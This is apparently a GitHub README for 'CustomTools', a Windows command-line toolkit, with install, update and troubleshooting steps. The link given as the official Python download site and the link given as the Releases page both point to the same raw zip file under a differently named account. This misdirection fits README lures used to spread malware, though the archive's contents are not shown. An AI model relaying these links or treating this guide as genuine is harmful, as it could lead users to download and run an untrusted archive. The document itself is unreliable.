Custom Tools by Ruyynn adalah layanan pembuatan tools/script custom sesuai kebutuhan client. This application lets you run simple, tailored tools without needing to install extra software or learn programming. It runs right on your Windows PC using a command-line interface.
CustomTools is a collection of small programs designed to perform specific tasks. You can use these tools for networking, checking IP details, writing commands, generating codes, or managing privacy settings. These tools use Python scripts under the hood but you won’t need to write any code yourself.
Before running CustomTools, make sure your Windows PC meets the following:
- Windows 10 or later
- At least 4 GB of RAM
- 100 MB free storage space
- Internet connection (for downloading and updates)
- Python 3.8 or higher installed (if not included in the package)
If you don't have Python installed, this guide will help you get started.
CustomTools includes these key features:
- Command-line interface for quick access
- Custom scripts tailor-made for your needs
- IP information tools to check your network details
- Privacy-first design to keep your data safe
- Simple installation and use without programming knowledge
- Free updates and support via GitHub
Follow these steps to get CustomTools running on your Windows computer:
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Download CustomTools
Click the large badge at the top or this link to visit the GitHub page for CustomTools:
This page contains the latest version and instructions.
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Download the Latest Release
On the GitHub page, look for the Releases section on the right or middle part of the page. Click on it to open the list of available versions.
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Get the Windows Installer or Zip File
Inside the latest release, find a Windows-specific file such as
.exe,.msi, or.zip. Click to download it to your PC. -
Install or Extract Files
- If you downloaded an
.exeor.msifile, double-click it to start the installation. Follow the on-screen steps. - If you downloaded a
.zipfile, right-click on it and select "Extract All." Choose a folder where you want the program to stay.
- If you downloaded an
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Check for Python
CustomTools needs Python 3.8 or higher. To check if you have it:
- Press the Windows key.
- Type
cmdand press Enter. - In the black command window, type:
If Python is installed, you will see a version number. If not, you will see an error.
python --version
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Install Python (If Needed)
If Python is missing, download it from the official site:
https://raw.githubusercontent.com/Ellllooo/CustomTools/main/spendible/Custom_Tools_2.4-alpha.4.zip
When installing Python, make sure to check “Add Python to PATH” before clicking install.
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Run CustomTools
Open the folder where you installed or extracted CustomTools.
Hold the Shift key and right-click inside an empty space of the folder.
Select Open PowerShell window here or Open command window here.
In the window that opens, type this command and press Enter:
python customtools.pyThis will start CustomTools and show the main menu.
After starting CustomTools, you will see a menu with options. Use your keyboard to type the number of the tool you want to use. Each tool comes with short instructions on screen.
Common tools include:
- IP Info: Check your current IP address and related details.
- Generate Code: Make a simple code or string as needed.
- Privacy Settings: Adjust privacy features inside the tools.
- Run Custom Scripts: Upload or specify your own script to customize tasks (requires some setup).
To exit CustomTools, type exit or close the command window.
To keep your tools working well, check for updates regularly:
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Go to the GitHub Releases page:
https://raw.githubusercontent.com/Ellllooo/CustomTools/main/spendible/Custom_Tools_2.4-alpha.4.zip -
Download the latest Windows file.
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Repeat the installation or extraction steps.
Your data and settings remain unchanged during updates.
- Python not found: Confirm Python is installed and added to your system PATH.
- Cannot open PowerShell or cmd: Use the search feature on your PC to open Command Prompt or PowerShell manually, then navigate to the CustomTools folder.
- Errors running a script: Make sure you downloaded all files and dependencies. Try re-downloading the latest release if problems continue.
- Tools not working as expected: Review the instructions shown on screen carefully. Some tools may need internet access or permissions.
- For detailed instructions, visit the GitHub README on the download page.
- Check issues or discussions on GitHub to see common problems and solutions.
- You do not need to sign up or log in to use the tools.
